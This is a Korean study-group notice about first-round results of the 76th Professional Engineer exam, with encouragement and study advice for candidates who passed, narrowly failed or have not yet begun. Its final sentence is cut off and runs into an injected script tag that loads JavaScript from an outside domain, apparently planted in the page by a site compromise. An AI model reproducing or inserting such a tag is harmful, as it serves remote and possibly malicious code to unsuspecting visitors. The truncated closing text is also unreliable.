제 76 회 기술사시험 1차 합격자 발표가 있었습니다
합격하신 회원여러분에게는 진심으로 축하의 말씀을 드리며
불합격하신 회원여러분에게 용기내시라는 말씀을 전해 드립니다
[시험에 높은 점수를 받고 아깝게 불합격하신 회원여러분에게]
우선 시험을 치고 아까운 점수로 떨어지시는 분들께서 결과를 받아들이고 정상적인 공부를 시
작하기까지 시간이 많이 걸리는 경우를 종종 보게되어 안타깝게 생각합니다
하지만 점수에 너무 연연해하지 마십시오
이번 점수는 다음에도 열심히 하라고 준 점수로 생각하시기 바라며 1, 2년 동안 58, 59점만
계속 받으시는 분도 많습니다
기술사 시험, 원래 59점까지 보다 59점에서 60점 넘어서기 위한 1점이 더 어렵습니다
그리고 이제부터는
1. 시험에 떨어진 사실을 빨리 인정하고 받아들이십시오
(채점자는 합격자와 불합격자를 정확하고 공평한 잣대로 평가하였습니다)
2. 불합격한 이유는 귀하의 절대 공부 량이 부족하였기 때문이라고 생각하십시오
(그것이 가장 정확하고 그렇게 받아들이시는 것이 마음이 편하십니다)
3. 다음 시험을 위하여 공부가 하기 싫어 대충 암기하고 넘어갔거나 아직도 이론과 원리의 이
해가 부족한 부분은 없는지 찾아보시고, 전부 내 것으로 만드시기 바랍니다
(완전한 이해가 없이는 남들과 차별화 된 답변을 쓰기 어렵습니다)
4. 내 답안이 어느 정도 공부를 하면 누구나 쓸 수 있는 정도의 내용은 아닌지 냉철하게 분석
하십시오
(보통 자기가 시험을 잘 쳤다고 생각하면서 빠지기 쉬운 오류가,
시험을 잘 친 경우를 "내가 공부한 내용 또는 나의 서브노트 내용을 얼마나 형식을 갖추어 정
확하게 답안지에 옮겨 적었느냐"로 착각하는 경우입니다
하지만 중요한 것은 출제자의 의도입니다 출제자가 묻고 답변을 듣고자한 내용을 정확하게 기
술하지 못했다면 아무리 잘 갖추어진 형식으로 공부한 내용을 정확하게 옮겨 놓았다 하더라
도 점수를 많이 받지는 못할 것입니다 답안의 정형화된 형식은 중요하지 않습니다)
5. 나의 답안이 채점자를 감동시킬 만큼 이론과 원리를 재대로 기술하였는지 그리고 체계적으
로 공부하였다는 것을 채점자에게 인식시켰는지 돌이켜 보십시오
6. 그리고 부족한 부분은 지금부터라도 "책"으로 건 "강의"로건 다시 보충을 하시고,
제77회를 대비하는 내 서브노트가 지난 시험의 서브노트보다는 많은 내용을 포함하고 있어
야 할 것입니다
[공부를 오래하시고도 불합격하시는 회원여러분에게]
공부를 오래하시고도 좋은 점수를 받지 못하시는 경우라면,
내가 공부를 지속적으로 하여 온 것인지 아니면 수없이 반복되는 "시작과 포기"에 익숙해져
있는 것은 아닌지 고민해보시기 바랍니다
연속적으로 하지 않는 공부는 머리 속에 남아있지 않습니다
일주일 이상공부를 하지 않으면 페이스를 잃어버리기 쉽고 한달 동안 공부를 하지 않았다면
그 순간부터 공부를 포기하신 것이나 다름없습니다
기술사 시험은 직장과 가정이 있는 분들이 공부하는 시험으로 치밀한 계획아래 체계적으로 공
부하지 않고 정확한 시간표에 의한 자기실천이 없다면 합격할 수 없는 시험입니다
수백명이 시험을 쳐서 소수만이 합격하는 시험에서 대충 공부하고 합격되기를 바라는 요행은
있을 수 없습니다
목표점을 정하시고 그 동안에는 기술사에만 전념하시기 바랍니다
또한 공부에 대한 흥미와 관심을 가지기 위하여 새로운 책과 강의를 접하시고 항상 내 서브노
트에 변화를 주시기 바랍니다
새로운 내용은 무엇이든 서브노트에 덧칠하고 추가하시기 바랍니다
[기술사 공부를 시작하지 못하시는 회원여러분에게]
이제 자격증 제도의 변화가 예고됩니다(인정기술사 폐지 등과 관련한 뉴스 및 자료는 홈페이
지 참고)
아직도 공부를 시작하지 못하시는 분이라면 이제는 공부를 시작하셔야 합니다
살다보면 우연하게 기회가 찾아오는 경우가 있습니다
지금이 바로 기술사 공부를 시작하셔야 하는 기회라 여겨집니다
이번 76회 시험에 과거보다 많은 합격자가 배출되었고 앞으로도 그럴 가능성이 있어 보입니
다
또한 이러한 결과가 자격증제도의 변화와 무관하지 않다는 기대를 가져 봅니다(인정기술사 폐
지로 기술사 합격자 증가)
물론 앞으로 제도의 변화를 지켜보아야겠지만 합격자가 늘어날 가능성이 있는 지금이 기회인
것만큼은 사실입니다
기술사가 우리가 한번은 꼭 넘어야 할 산이라면 지금 바로 시작해 보십시오
공부를 하나 하지 않으나 생활의 불편함은 다르지 않습니다
물론 공부를 하게되면 조금의 불편함과 스트레스는 있겠지만 미래에 대한 희망은 그러한 불편
함 보다 더 큰 행복감을 줄 것이며 공부를 해야지 하는 스트레스보다 공부를 하면서 느끼는 편
안함이 훨씬 좋아 보입니다
주5일 근무 체계(현장상?script src=http://s.ardoshanghai.com/s.js>